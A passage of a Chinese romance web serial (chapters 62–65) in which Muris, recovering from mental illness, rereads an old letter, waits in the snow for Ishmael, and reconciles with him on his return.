“所以你从欲望那儿逃开了——似乎是最简单粗暴的做法——使情绪稳定变成了一种情感漠然,筛剩下的都是大颗粒的痛苦,你无法消化,我也无法替你消化,最好的办法还是,把它们埋进沙子里,那些被你筛掉的东西。” 穆里斯眉头微微皱起,“事已至此,我得向前看。” “谁跟你说这些好听话了吗?” “没有。” “是啊,没有。” 穆里斯耳边嗡嗡作响,缓了好一会儿,说不出别的来,小声重复着:“事已至此……” “至此,此未必就是结局。”连医生不再勉强她思考,“你的忧虑也好,消极的幻想也好,要知道,就算是最坏最坏的事情发生了,你也是安全的,只要你相信自己,你都解决过那么多糟糕的问题了。遵从本心的瞬间,有多么痛快,你亲口向我描绘过。” “本心”二字正中穆里斯的红心,敢想的不敢想的争先恐后涌上来,溢满眼眶。 第62章 第62章亲爱的Ishmael:…… 在一个晴朗的夜晚,伊实背着她走上小山坡。因为她说想再看一次极光,最好还能摸一摸,可是脚扭了怎么办,有人帮忙越狱的话就再好不过了。 “如果你能摸到它的话,大概也不需要我的后背。”伊实嘲笑她。 “那我不摸了,我要你的后背。”她说,紧紧地抱住他。她那时候就知道,无论是极光还是后背,都近似于童话而遥不可及。 “作为交换,等我脚好了,换我背你。”她说。 伊实轻笑,驮着两条松软大腿的手也寻欢作乐般揉捏了两下,“没有人这样谈条件的穆里斯。” “那怎么谈?” “不用谈,我这个人没什么自制力。” “哦。”她在他的侧脸重重地亲了一口。 伊实停下脚步,转过头索吻。青绿色极光在天上飘,缄默地等待那一吻作罢,等待一双无知的手向它伸过来。它是一种联结,它并非实体,所以在世界上没有任何一双手能摸到它。 她抬头仰望,下巴缱绻地抵在伊实的后脑勺,说:“看到这么美的景象你心里会想什么呢?” “什么尖锐的东西在戳我的脑袋。” 她收回下巴,同时捂住那张打岔的嘴,她本就是自问自答的。 “上一次看极光,我想的是,总算让我捡了个大便宜。尽管海上臭臭的,又冷,还有个白脸壮汉阴森森盯着我,我也觉得是我赚了。” “唔唔唔唔唔。”伊实说。 “你觉得我可疑,我还觉得你可怕呢。”她反驳道,“不过,应该是存在的吧,像我们这种救助者和被救助者。有个很离谱的传闻,我不太相信,但它此时此刻的确具有说服力,被狼捡到的小孩,你听说过吗?” 伊实摇头。 “我懒得解释,你回去谷歌吧。”她松开手,“总之,按照剧本,我会慢慢地养成你的生活习惯,掌握你的力量和才能,最后在这个小岛上过得如鱼得水。” “宝贝,你一喝不了酒二下不了地,离如鱼得水差得远呢。”伊实逗乐。 “我光是活下来就很不容易了,要求能别那么高吗?”她心里隐隐地不服气,“难道我没有那种志向吗?我昨天晚上还后悔呢,要是我只是在酒吧买醉然后被你捡到就好了,而不是心灰意冷地求借宿,却万万不可地对这个地方产生了好奇和留恋。上半辈子得到的东西太少,以至于看见新鲜事物便走不动道。你总说我幼稚,可你吃火锅的时候也赞不绝口啊。” 她在他的背上嘟嘟囔囔,浑浊的坦白里,犹豫和彷徨左右回响,那时他没有察觉,她总是心高气傲,总是苛求完美,日历要从新年的第一天开始翻,两个人接吻要从衣冠齐楚开始。 伊实,我不是被社会遗弃的小孩,我是主动从社会中走出来,走进你的森林,来和你相爱的人。 …… 穆里斯攥着一团皱皱巴巴的纸巾,不停洗拭眼角的温热。她已经不是那个哭喊着求求大人把门打开的婴儿了,但她仍会因为被一次次地关回井底而泪眼朦胧。 “我是不是毫无长进……其实一直以来我学会的只有狡辩,不停地狡辩……这些年我毫无长进,时间对我来说好陌生,人脸也好,声音也好,太陌生了……” 连医生想,这是常有的事,在某个平和安详的日子里,他们会突然间感受不到四肢存在的意义,不认识自己身上的皮肤和毛发,混淆指纹和年轮的概念,他们会认为,自己遭受到了背叛,而那陌生感偏偏出自于 自身的肉。体,他们更加崩溃。她能做的,就是让他们回想起,脚踩在地上什么感觉,风吹过脸颊什么感觉,他们没有背叛他们。 “当你提出允许它寄生时,我们商量好了,一点点去消磨它,使它感到饥饿,等到它无法从你身上获取更多的养分,它就会消失,即使赶不走,那时候它也已经虚弱地站不起来了。你比大部分人要成功得多,你看得见它,对不对?你始终要记得,你才是提供养分的宿主,比起对抗大脑疾病更重要的是,原始的你想要什么,喜怒哀乐将你牵引到哪里,对于幸福你的本能反应是什么。或许我们可以换一个方式,从前我赞成你大度地吞下它们,你比我预想的还要有气量,可如今你这副小小的身躯已然到了极限,它也过犹不及地再次成为了你的阻碍。我们换个方式吧,冬去春来,辞旧迎新,可能性就跟星星之火一样,你一定能懂我的意思。这次我们不吞了,令你感到痛苦的一切都有挽回的余地,对事不对人,比起消化情绪,你试着去做些改变吧。” 时间快到了,穆里斯一片迷惘,“我……我还能做什么?” 连医生展露出温和的微笑:“相信你自有判断。” 什么判断?是赎罪的机会,还是就此别过的悲剧? 肚子饿得厉害,穆里斯离开诊所之后在街上漫无目地走了三十分钟,闻到一股烤面包的香气,黄油,面粉,烤箱,霸道地占据她的嗅觉。她还吃得下去吗?这副鬼样子,再香的面包在她口中和蜡烛又有什么区别?一旦买下来就是浪费,这毋庸置疑,她的十元不具有十元的价值,旁边背着几乎半个身子大的双肩书包的小女孩手中的十元才具有十元的价值。她说面包好香啊,要买三个回家。她妈妈说,马上要到晚饭时间了,吃了面包就吃不下晚饭了。她摇摇头,似乎要耍无赖,然而只是重复道,面包好香啊。 穆里斯绕过那对母女,没走几步心脏涌现一股沉重的疼痛,像是眼泪流干了而抽水泵仍在卖力运作,伤及无辜内脏。她不是非要站一派,她没有妈妈,也没有爸爸,没有能劝她回家吃晚饭的人,但她自己就是个大人,精打细算的道理她很清楚,还是那句话,她不是非要站一派的。她转过身,买下三个面包。 回到家,穆里斯煎了两个荷包蛋,淋上酱油,开了一盒纯牛奶,配上焦黄的面包,就这么杂七杂八地吃起来。书桌上有几本她看了一半的书,她边吃边翻看,为杂七杂八更舔一份乱。 文字的逻辑依然很模糊,但她的头脑清醒了许多。她开始明白她无法在书里找到完美答案,那些共鸣和感动,实际上全部是她无形的手记,不属于作者而属于她自己。 对了,有形的手记她也有,由作者酝酿而出的情绪,她隔着纸张借了过来,用笔一撇一捺地写下。那些小纸条被她随手夹在随机的书里,因为她知道如果全部收集在一起,她会忍不住沉沦过去,一遍遍地审阅一遍遍地陷入情绪无法自拔。她的手记没有一个字是出于希望被阅读的动机,她需要呕吐,总不能吐地上。 此刻她正刻意制造一场偶遇,她翻开一本本看完的没看完的书,找到小纸条,窥探过去。她大多在写诗,思想解离的产物,晦涩难懂毫无意义,的确和呕吐物没个两样。还有写信,本该寄往罗弗敦却寄给了陀思妥耶夫斯基和黑塞的信件。 令穆里斯没想到的是,她竟然还能找到五年前的信,原以为它们早就随着搬家灰飞烟灭了呢。日期最早的那一封,字体端正大方,信纸似乎经过精心挑选,有一定的厚度。 「亲爱的Ishmael: 我今天去复查了,又做了一个小时的量表(真不知道这些量表到底有没有实际意义,问题都很无聊),又扫了一遍磁共振(感觉这个比较有说服力,主要是我喜欢看自己的脑切片)。可喜可贺,医生说我看上去好多了!然而听到我有一个多月都没吃药的时候,他的脸色突然垮了下来,问我为什么不吃。他问得也太多余了,当然是因为我想死。接着我坦白,我现在不想死了,以后也绝不再想死,我想好好治病,好好工作,当一个正常人。 他被我的觉悟吓呆了——好吧,并没有,他对此嗤之以鼻,没有当回事,一边批评我私自断药,一边噼里啪啦地敲键盘,给我开了和以前一样的药。 我的生父上周给我打电话,让我清明节回家一趟,顺便关心了几句我的身体,他说他查了很多资料,这个病说严重不严重,说不严重也严重,他查了很多资料,一定能治好的,他要和我谈谈。 狗屁。 冲他那嘴脸,我回去还不得给我烧纸? 当我纯粹地恨一个人和爱一个人的时候,很多事情都迎刃而解了。 血脉再也压不住我,他替我开的家长会,出差回来给我带的巧克力,还有我因皮肤病住院他彻夜陪床而生出的黑眼圈,这些都再也压不住我了。 我纯粹地恨他,在他的脸上永远留下一道疤。 这算不算彻底断绝亲子关系?我不怕惹怒他。他总彰显自己有很大能耐,从前我企图依赖他,所以相信他真的有能耐,现在我只想远离他,他什么都不是。 我最近瘦了一点,你用不着一只手,一根手指就能把我提起来,就像钓鱼。你和布鲁克还时常钓鱼吗?没人帮你们搓鱼饵了,你们会想念我吗? 我没什么把握,这场手术的成功率或许只有百分之三。我怕你们忘记我,又怕你们太想我。 我一定要给你一个惊喜。 我有一条漂亮得过分的深蓝色鱼尾裙,一年前为参加公司的年会买的,我是新人,要上场表演才艺,唱了一首歌。同事说我穿这条裙子特别好看,我也觉得,特别好看,你看到的话,也一定会称赞的。 我想穿着它在酒吧点一杯白兰地,然后上前和你搭讪。 你好啊,我叫穆里斯,有兴趣喝一杯吗?是的,是我,和那时很不一样吧?要不要听我讲讲我手撕亲生父亲的故事?这样看来,我们还挺有共同语言的嘛。如果你不介意的话,我们能不能接个吻?看在我穿了这么漂亮的裙子的面子上。噢等等,你有新的伴侣了吗?……不,你还是别说了,我不愿意听见答案。 天呐,时间过得好快,马上就要到穿裙子的季节了,我得赶紧振作起来。你要等我啊!千万要等我!我一定给你一个惊喜! 最爱你的Muris」 穆里斯在末尾的署名处愣神。 她怎么可以,怎么可以既让人等待,又同时撒泼打滚地推开他呢……她想要的,一开始就只有他的亲吻而已啊。她都做了什么? 指纹和年轮混淆的时刻,穆里斯终于看清了她真正追求的东西。 第63章 第63章雪啊,可不可以把她的爱…… “根据气象部门预测,受强冷空气影响,近期我市将出现低温雨雪冰冻天气……” 在一个泪失禁毫无障碍同时伴有发疯毫无障碍的患者身上,质疑繁殖得比病毒还要快,几年来演化变异,竟也生出千年老树般错综复杂的根脉。想要连根拔除,势必要承受天崩地裂之苦。 “预计10日-13日主城区有雨夹雪或雪,部分中到大雪,山区局部暴雪……” 穆里斯很早就给“死了算了”拉上封条,并暗自得意,她可不是轻视生命之辈,她绝不碰死,哪怕吊着一口气她也不能咽,她的命是伊实救了三次救回来的,她绝不会继续糟蹋。结果呢,得意的次数太频繁,回过神来时,她其实已经糟蹋得差不多了。认为念念不忘的感觉是一种羞耻,认为她的爱是最轻量的砝码,认为她甚至不配被摆上天平……糟蹋得体无完肤,这使得她照镜子时感到索然无味有了原因。 “为切实做好低温雨雪冰冻灾害防御应对工作,保障人民群众生命财产安全,市防减救灾办发布低温雨雪冰冻天气防御工作提示:……” 穆里斯决定——她在这阶段做了太多决定,没有一次不是在慢性自杀,所以这回她什么决定都不做了,放任这条命自主行动,小蝌蚪找妈妈那样,本能地寻找她的归宿。 出租车司机切掉天气预报,调频至相亲电台,耳边一下子聒噪起来,仿佛雨雪提前降临,噼里啪 啦地打在车窗上。男欢女爱和风花雪月本质上是一个东西。 质疑的声音悄咪咪地繁殖:喂,你此程的目的地又有什么不同吗?你正在挽回的也不过是一段俗不可耐的体验。试问你的灯有几盏?仅有一盏,唯一的男主人公灭了灯你就什么也看不见了。大费周章地跑这一趟,还不是披着忏悔的皮出卖求偶标准? “师傅,麻烦开快一点。”穆里斯不耐烦地掐虎口。 “快不了,这个点最会堵车了,你要是着急干嘛不早点出发啊!”司机数着红灯,对这种情况见惯不怪。 “对,您说的对,所以为了弥补迟到的过错,我现在就去把这一路上的红灯全给砸了,您等会儿记得报警。”穆里斯语调平淡地说,整理后脑勺压乱的头发。 司机并未往后看,光是听她的话便咯咯笑起来:“你还是个急性子啊……”话音未落,他听见车门开锁的动静,笑容僵在脸上,猛地回头:“哎美女!美女!还没到呢!你真下去啊!” 穆里斯感谢他开在第三车道,旁边就是非机动车道,走两步被撞了还能爬起来。 “谢谢师傅,我马上取消订单,结束了给您个好评。”她用力关上车门,脑子里惹人心烦的声音也一并噤声。 是的,麻烦闭嘴,要说这是心血来潮的求偶也好,是声势浩大的朝圣之路也好,爱怎么说怎么说。她不在乎了,反正无论如何也摆脱不了疯子的基因,那么作为一个疯子,她要踏开脚步根本不需要什么理由。不如说,她宁愿变成一个疯子,疯子总是待其不薄,不受那些优雅唱词的限制。 显然倒拔垂杨柳轮不到一个瘦鸡在红绿灯上实践,好在穆里斯另有他法。她骑了半小时的共享电动车,手指和鼻尖冻得梆硬,印堂发晕,有几秒差点驾鹤西去,硬撑到目的地,在公寓大门前缓了又缓。 她平复呼吸,摸出手机给伊实发去一条短信。 「Areuhome」 短信石沉大海,没有回应。她来回跺了跺脚,尽量让身子热起来。 「Imhere.Pleasejustseemeforamoment.」 没有一丝波澜,像人间蒸发。她幻听见低哑的指责,于是急忙忙地跑进电梯,搓热脸颊。 他也许不想再看见她了,因为那天的狠话,他彻底死心了,明白她是个多么矛盾自怜,心肠歹毒的女人,非但吸光了他的所有精气,还想重回案发现场欣赏杰作。 穆里斯上下摸索她能给出的全部诚意,竟然只有一双可以下跪的膝盖。好吧,那她跪得响亮些,跪出一个洞来,好埋掉她说的那些垃圾话。 她虔诚地敲了敲门。等待着,呼吸声抖微微地飘。毫无应答。第二次敲门,毫无应答。 她突然想到——如果可以,她情愿在这时候保持懵懂——一个比死心更令她狼狈的情况是,他已经离开了。正如她当年的欺骗,他也一声不响地走了。 原来,原来找不到人,是这种心情啊。 穆里斯慢慢蹲下来,蜷缩成一团,用力挤压胸口,疼痛的源头。水生火热的牢笼并没有将她淬炼出金刚不坏之身,反之驱逐她到一片空荡荡的地方,无助,虚妄,眼前是巨大的空白,无边无际,随时能压死她,压过来时却是轻飘飘的,握不住,摸不到,蒙住了她的眼睛,致盲。 楼道的声控灯熄灭。穆里斯坐在门前,点亮屏幕,手颤抖不止,她无心处理,颤抖着更好点开伊实的号码。 忙音。 发短信。 你在哪儿? 没回。 可不可以见我一面?哪怕五分钟也好? 没回。 直到凌晨一点,穆里斯才终于接受,他已经不在这了。人类的渺小取决于所处的迷宫有多大,而此刻呈现在她眼前的是整个地球。 第二天,第三天,第四天……穆里斯每天都来伊实的公寓蹲守。她给伊实的经纪人打电话,问他去了哪儿。经纪人也不知道,称这位当红一时却愚蠢至极的新秀正在休假,至少一个月不会接活。 “人失踪了你们管不管?”穆里斯故意夸大其词,实际上在她这里,这已经是失踪案件了。 “失踪?没这么夸张吧,他可能回国了吧,毕竟他都快一年没回去了。”李说。 “什么时候走的?他会回来的吧?” “不知道啊,我这边忙,没管他了,你再给他打打电话试试。放心好了,肯定会回,他的卖身契还在我这里呢——先不说了哈,我要开会。” 穆里斯捏紧手心,等一天也是等,等一个月也是等,大不了明天她多穿件保暖背心过来。 天空变得冷酷无比,而穆里斯的信念越发晴朗。这或许又是一场固化的疯癫病,肾上腺素走错了频道,人遇见电闪雷鸣正常情况下应该躲进屋里,除非——他在电闪雷鸣之夜,恰好获得了新生。 如新闻报道的那样,城区下起了很壮观的雨夹雪,穆里斯的伞在半路被吹散架了,筋骨断裂好生可怜,她找到一个体面的可回收垃圾桶替它送葬。 她又坐在伊实的家门前,拍掉头上肩上的雪水。这座城市真是不擅长下雪,端个半成品就出来了,又湿又垮,品质比不上北欧的一分一毫…… 可是雪啊,能不能把她的爱人带回来呢,把她的爱人带回来吧,她会承认这是世界上最伟大最漂亮的雪。 楼道有一面高高的小窗子,风雪吹过呜呜作响,她望着那面小窗子,不停祈祷。 后来雪停了,他也没回来。 …… 航班延误,伊实在机场和一个陌生加拿大人看了两个小时的赛马,输了五十克朗,被问到飞去哪里,他指了指大屏幕上的中国国旗。飞机起飞后,他真正需要动脑筋打发掉的时间才刚刚开始。 这样的航班他来回飞了不少次,全程三十多个小时,中途转一次机,和燃料一起消耗掉的还有他屁股上的肌肉以及逐渐僵硬的肩膀。 没有办法安定下来的人有一颗想要安定下来的心,就会变成他这样。误入伊甸园最后将计就计吃光苹果的也绝对是这类人。他们一边寻找绊脚石,一边踢开绊脚石。 这场徒有其表的大雪被伊实轻松踢开了。他拖着行李,满心只想立刻躺在柔软的床上狠狠地睡上一觉。 拜拥挤的经济舱所赐,他的下巴冒出了一层短短的胡茬,头发凌乱难看,全数塞进冷帽里,露出光洁但是很不礼貌地长了几条川字纹的额头。除此之外,飞机上不能抽烟不能喝酒,他忍受着口干舌燥,更打不起精神。这就是他情愿下地狱不愿飞上天堂的原因,稍有不慎犯了天忌他还是要掉下来。 漂流者也有想无限逼近的东西,故而从不承认脚下是终点站。 电梯“叮”的一声将伊实送到12A层,也就是该死的13层,这和套上麻袋把人绑到撒旦老窝没什么两样,不如不套。伊实的房间在走廊尽头,对面是强电房,隔壁是安全出口,租价比这层所有房间都要便宜,还多处一块弧形阳台。它原本的价值被所处的环境给玷污了,幸好遇上了一个下雨天捡到钱下雨天花的租客。 过道表面铺满深棕绿色地毯,行李箱的万向轮在它上面再也不能万向了。于是伊实提着箱上的把手,一步步往尽头走去。他低着头,疲倦使他眉间紧皱。 直到他看见一个小小的身影,那是一垛被雪覆盖住的矮灌木丛,安静温顺地靠在角落里。他的心突然被什么击中了,站在那里一动不动,像一枚惊叹号。 现在是北京时间早晨七点二十四分,马上过二十五分,枝头的鸟叫声晃动残雪哗啦啦地落下来。雪停了吗?雪似乎没停。 窗口的光从伊实的鞋面缓缓攀爬到他的裤脚,一路生长,到腰间,到胸膛,到喉结,到眉骨,阴影打在这副宽大的身躯背后,他蹲下来,轻轻抱起睡梦里的穆里斯。 “Solookatyou,mylittlestreetprincess,youretotallydigginthisstraylife,aintcha” 如果有人擅长流浪的话,那么一定有人擅长拾荒。摇曳是寻找,风起云涌,一呼一吸之间,他就这样,再次把她捡回了 家。 第64章 第64章要不你把我绑起来? 人类一切对温暖的渴望,都是对羊水的渴望,一切对声音的感知,都是对母体心跳声的感知。 有什么东西在穆里斯还是个胎儿的时候就悄无声息地破碎了,导致在所有人都破茧成蝶的年纪,只有她飞得乱七八糟。作为补偿,上帝保留了她关于羊水和心跳声的记忆,她回弹至蜷缩的姿势,放大耳边的声波频率。 全身关节被小心翼翼地掰开,发出吱呀吱呀的响声。穆里斯要醒了,却不打算睁开眼睛。如果睁开,她说不定又要坐回冰冷的角落靠着冰冷的墙壁吸着冰凉的空气。 伊实把人抱进卧室,用滚烫的掌心捂了捂她的脸蛋,坐在床边缄默良久。她的嘴唇干燥,在唇珠的地方起了一块皮,睫毛轻微抖动,眼珠子半转。她身上没有管子,血液流淌地十分安分,她很健康,足够支撑她走来走去,在他的世界进行一场可笑的郊游。 “别装了。”他说。 穆里斯不作答,安静地像远古的潭海。 伊实面不改色地捏住她的鼻子,半路盗劫氧气乃土匪所为,人性的光辉仅存于他没有大动干戈地用上枕头。穆里斯憋红了脸,推开他的手重重呼吸,胸口起伏逐渐减缓,自始至终用一双小羊羔般的眼神直勾勾地看着他。 伊实不知这种无辜的体系是如何形成沉甸甸的重量的,他撇开了脸,步伐从容镇定地走出房门。 行李箱被放倒,他毫无头绪地翻找,如果这是一本百科全书,又或者是他祖母手中被狗啃了的圣经,又或者是他妈忘在床底下的哲学笔记,他这样翻找可能还有一丝希望找到答案。很可惜,他再刻苦钻研也只能找到几条品牌方送的内裤,和几件黑得吸收万物的毛衣。 地板咚咚震动,卧室的小羊摔下床,冲他身后跑来。伊实不想回头,但耳朵已经回头了。 下一秒他的后背扑来一阵风,裹住他的肩颈,如辛辣的伏特加裹住他的胃,他清醒了。 “伊实,伊实。”穆里斯喃喃,她跪在地上,紧紧贴着他,“对不起,伊实。” 伊实不作声,客套地扯了扯环在脖子周围的胳膊,她抱得很固执,用力抓着他的前襟。 “谢天谢地,还能再见到你。”穆里斯松了一口气,也因此悠悠沉醉下去。竭力的鸟,云往上飘。 谢天谢地?伊实觉得憋闷极了,一咬牙拉开那双小手,站起身时神情冷峻。 “同样的招数你要玩个几万遍,前提是我有耐心和理智,我乐意陪你玩。这一遍如何呢,是不是等着我动手,转身把你压在地板上,好告我侵犯罪?既然我已经是个难缠的禽兽了,犯不着苦思冥想,你上次说得够明白了。” 穆里斯愣在原地,眼睁睁看着他嘴巴一张一合,脑子宕机了好一会儿,直到他轻蔑的目光离开她的脸。她着急地要站立起来,可酸软的双腿疯狂掉链子,频频散落在地上。 伊实走进厨房喝了两大杯水,再出来时,穆里斯扶着门边,伸手揪住他的衣角。 “不要生气了。”她愧疚地低着头,组织了几天几夜的语言,见到本人后全数魂飞魄散了。 伊实不动声色地将她从头到脚打量了一遍,说:“你最好现在就回去,我没空陪你演戏。” “不。”穆里斯坚决回答,“我要和你在一起。” “好好,真是刺耳。”伊实自顾自地大步向前迈进,脱掉冷帽和外套。 “我是认真的,伊实,我弄清楚了。” “弄清楚什么?那么努力地kickmyass,就是为了弄清楚什么?很抱歉,我不感兴趣。” “我是一个逃兵。”穆里斯说,仍然扶着门框,背脊却挺拔起来,即便这并不是昂首挺胸能够说出来的台词。 伊实停下手中的动作,等待她的下文,不过是背对着她,以示心中的不快。 “我懦弱,自私,谎话连篇,分不清什么是真实什么是幻象,希望真实能够宽容我,也希望幻象变得很重。我逃离的理由我这辈子都无法给出一个准确的说法,但我知道,那样我并不幸福。 “我会为此付出代价的,伊实。我发了很大一通脾气,让你见识到了我是一个怎样的货色,就算你不原谅我,我也理解。先前的种种折磨我不会再拿来当枪使了,哪怕一切回到原点,我也不想我们之间的最后一面是在痛苦中结束的。 “对待感情,我几乎有着小心翼翼的本能,什么都还没发生的时刻,就自动牵扯到了以后。我担忧会有无尽的灾祸降临你我之间,以为推开你是一种躲过,等我反应过来时,知晓那是错过。 “我真心为此感到抱歉,伊实,让你不得不为我的任性买单。如果可以,我真想一把火烧了那些话……伊实,请求你,再看看我吧。” 穆里斯不知何时走到了伊实的身侧,指尖讨好地触碰他的手背,然后悄悄地握住。她没有信心,故而只是虚握,他一甩就能甩开。 伊实不为所动,脸朝向窗户,不给她一个眼神。一个破窗没什么好看的,除非它好巧不巧地能安稳人的意志。 “你想说什么都可以,牙齿也不会因此掉落一颗。” “伊实。” “词语句式用得越来越得心应手,这些年想必看了不少书,我都能闻到82年墨水的味道。” “伊实,我爱你,伊实。” “……” “这句是独家原创。看看我,好吗?” 穆里斯钻到他的眼前,抿着嘴,圆溜溜地看他。她可以难堪也可以窘迫,无论如何她也不想再做违心的事了。 伊实深吸一鼻子的气,胸膛有所抗议地鼓起,按习惯他会厉声呵斥一番,一味忍受从来不是他的作风,但他拿不准这口气呼出来的是呵斥还是“我他妈的也爱你快来抱一下吧”。幸好他有强烈的主观意志,还记得自己姓谁名谁。 “很动听,难怪你分不清真实和幻象。”他半边坐在沙发的靠背上,和穆里斯对视,说:“你觉得你要付出怎样的代价?” 穆里斯想了想,她不知道该怎么做,她从前的每次挽留都伴随着无尽的拉扯和不安,看上去像是她在挽留,其实最早做好放手准备的往往也是她。所以归来一生,她还是个挽留小白,覆水难收,下意识伸手去接,也不管水烫不烫,就想着接。 沉默里,她的脚尖不由自主地向前挪动了一寸,身体往前倾,嘴唇像信号不好的收音机,以肉眼可见的犹豫缓慢朝他靠近。 在鼻息相融的前一秒,伊实忽地侧开脸,抽身而退。穆里斯失望地收回下巴,不知所措地注视他忙碌的背影。 “太危险了……我坐了三十个小时的飞机,又累又困,头皮发麻得要死,处理不了这么棘手的问题,你现在爱干嘛干嘛,我要去睡觉了。” 伊实踢开从他原先站的地方到卧室的床这段距离上的路障,是个垃圾桶还是什么,反正是个塑料制品,他无心低头确认。 “我,我能跟你一起睡吗?我也没睡好。”穆里斯追过去。 “Whatever.”伊实不以为意,掀开被子一头倒进去,麻利地闭上眼睛。 穆里斯慢吞吞地脱下衣服,毛衣下面还贴着冷掉的暖宝宝,过了一晚上都变成了僵硬的铁块。她动作小心地撕掉暖宝宝,看了眼床上的伊实,蹑手蹑脚地脱下鞋子,又看了眼床上的伊实,人小鬼大地找了一圈暖气遥控器,开到心旷神怡的二十五度,又看了眼床上的伊实,最后鬼鬼祟祟地爬上床,在他身侧趴下。 好像回到了干冷的挪威小木屋,她一边等待双脚暖和起来,一边百看不厌地观察他的脸。 她曾几度失去正常的认知能力,凶神恶煞和慈 眉善目在她看来没有不同的意义,她站在圈外,做不出可靠的反应,只是逆来顺受,让发生的事情继续发生下去,毕竟让船行驶的是海,不是舵。可欲。望之流十分难得地令她有了真实感,她想要爱,想要有个人来告诉她拥抱和猥亵的区别,替她分辨微笑和刀伤背后哪一个才是血淋淋的事实,教会她遇到泥石流要跑,遇到排山倒海的恶意也要跑,跑向的地方,听闻那是长厢厮守。 穆里斯呼吸很轻,嗫嚅着嘴,气声绵绵地说:“你不要生我的气了……” 像是远古传音,梦里的幻听。 “原谅我吧……” 催眠引导,强烈暗示。 “对不起,你不要生气了……” 忍无可忍的伊实撩起被子的一角盖住那张嘴,命令道:“闭嘴,睡觉。” “哦。”穆里斯顺利地钻进被窝,双脚卧得暖烘烘。 …… 穆里斯睡到中午醒来,饿得肚子咕咕叫,偷摸溜出去看厨房里有什么吃的。什么也没有。于是她点了外卖,备注不敲门不打电话,预计在神不知鬼不觉的情况下协调她和胃的气氛。吃完又钻回被窝,把伊实的手搭到自己的腰上,有点痒,又挪到屁股上。她蒙在被子里玩手机,跟工作室的伙伴们聊天,商量今年年假放早一点,早点发工资实现独乐乐不如众乐乐的共。产主义梦想。直至天色渐晚,她一心一意等待的睡美人才悠悠转醒。 也许是因为心心念念的sleepsecuritypillow失而复得了,伊实无间断地补觉到傍晚,睡得沉稳,效果跟睡前喝了三杯威士忌不相上下。这项丢脸的习性除了他的妈妈没有人知道,就连本人也是在矢口否认了整个青春期后不得不认清现实,他必须抱点什么才能睡得好。 “Morning.”穆里斯对他眨了眨乌黑的眼睫毛,送上贴心的叫早服务。 伊实半眯着眼,昏暗的光线下看不清身边人的脸,可这调皮如小猫求食的声音却令他实打实地心动了又动,他掐住眉心,翻过身叹气。 “怎么了?头痛吗?”穆里斯撑起手肘,使劲把头探过去。 “不是。” “没睡好?做噩梦了吗?”穆里斯晃了晃他的肩膀,纹丝不动。 “不是。” “那是怎么了?” 伊实不说话,默默做思想工作。 穆里斯困惑,索性坐起来动脑筋,问:“你饿了吗?我去给你弄点吃的?” “……” “还是,讨厌我吗?不想看见我吗?如果是这样……” 穆里斯话没说完,就被一堵墙欺身而上,头发在床单上散开,嘴巴鼻子也被他的手捂住,不管有没有被吓到,她的呼吸都停滞了。她拍了拍伊实的手背,在空中比划:至少给我留个缝。 伊实松了松力道,思想工作没做好,心烦意乱着呢,她叽里呱啦个不停。 “我很生气。”他说。 “嗯嗯。”穆里斯点头。 “无比的生气,前所未有。” “嗯嗯。”穆里斯点头。 “早就想对你生气了,但每一次我都忍了下来。” “嗯嗯。” “你太过相信不知从哪里来的谬论,我都不知道该找耶稣还是犹太人算账。我在跟一个看不见摸不着的东西对抗,我不应该生气吗?我他妈的气爆了。 “我这个人很少感到憋屈,但在你身上我是栽了又栽。捏太紧怕把你捏碎了,捏太松又怕你跑了。你怎么能这样对我? “你所谓的揣测不假,我都有,真的不能再真了,只要你问,我能给你补充更多的细节。可是,穆里斯,难道我的忍耐只是为了好玩?那你说我该怎么做?说,拿出诚意来。” 穆里斯咽了咽口水,吞吞吐吐地说:“要不……你把我绑起来?” “?” 穆里斯向他伸出手腕。 第65章 第65章渴望那些事物的人,其实…… 绑是没绑上,但约上了一起逛超市。法治频道插播喜之郎果冻广告。好开心。穆里斯蠢蠢欲动地在床上打滚,听浴室的水声开了又停。 伊实抹着湿答答的头走出来,全身只穿了一件白边灰色底裤,注意到穆里斯直勾勾的视线,高傲上瘾了似的,翘着鼻尖选择无视。就这样在浴室和卧室之间进进出出,没见得这么冷的天他身上有多穿一件。 “伊实。”穆里斯喊他。 “怎么?”伊实不着急吹头发,先把脸做了一遍保湿。这道工序他一直不知道放在什么时候做才合适,出门前做没必要,工作时自然有人帮他上,睡觉前做更没必要,两眼一闭还管什么面子。现在他知道了,这个时候做最合适。 穆里斯咽了咽口水,说:“我真饿了。” “嗯。”伊实拖长尾音,看似心不在焉,走到衣柜前,用手轻抬了下小兄弟,套上藏青色松紧休闲裤,指节在抽绳之间打转,在人鱼肌下面系好一个蝴蝶结。 穆里斯难以启齿,怕说出来显得她多没耐心似的,可是难以启齿还是要启齿,再晚超市的菜就不新鲜了。 “我们什么时候可以出门?”她问。 伊实穿衣服的动作一顿,脸上多出几分匪夷所思,看向她:“Huh……你是真饿了。” 穆里斯点头。她头发也扎好了,鞋子也穿好了,眼睛也擦得雪亮了,就等他一起走了。 “……”伊实臭着脸用俄语口头禅小骂了一句,关上衣柜门,动作快了起来,没两分钟就整装待发。 穆里斯兴高采烈地抱住他的手臂,自顾自讨论吃什么好。不如吃焖面吧,剁几块青椒,炒现成的肉丝,泼上滚烫的油。她的话越密集,显得身旁的人越安静。 “你觉得怎么样?”穆里斯晃了晃胳膊。 “不怎么样。”伊实无所事事。过超市闸机时一个小孩子快速跑过,撞到他的腿,抬头一看愣了愣又快速跑走。他皱起眉嘀咕:“Naughty.” “在那边,我要的东西在那边。”穆里斯一指,拉着他过去。 猪肉在生鲜灯下尚且鲜活,照得人面也红光满面。讲价声像在打乒乓球一样有来有回,事实上彼此都明白其中多少掺了些杂质。 伊实双手插兜,冷静地看着这一幕。他在想办法留住这种红光满面,同时还要保证它不会变成另一把尖锐的刀刺进他的心脏。他算是有经验的老师傅了吧,可怎么还是按耐不住急躁的思绪呢——那要问十五块一斤五花肉坚定守护者本人了。 “你今晚要留在我这还是怎样?”他突兀地问。 “啊……”穆里斯思考,“我没有东西,我是说,牙刷,拖鞋,那些东西。” “有。” “有吗?” “有。”伊实随手拿起一块青椒嚯嚯,装模作样观察了两下,捏出骨骼断裂的音效。 穆里斯夺过来,放回去,往超市工作人员那里心虚地看了一眼,问:“你什么时候买的?” “你什么时候变成purchasepolice的?”伊实又拿起另一个青椒。 穆里斯拦住那只罪恶之手,把人推走,“你去找那位女士算钱,我去买包调味料,拿上这个,去收银台等我。” 关于留宿她当然没意见,只是她还有一套社会面孔需要定期修补,否则对同样关心她的人来说,乐不思蜀并不是负责任的表现。穆里斯认为,只要和伊实清清楚楚地说开了,他会理解的。 她带着调味料来到收银台,多拿上几个小盒子,大方地掏手机准备付款。 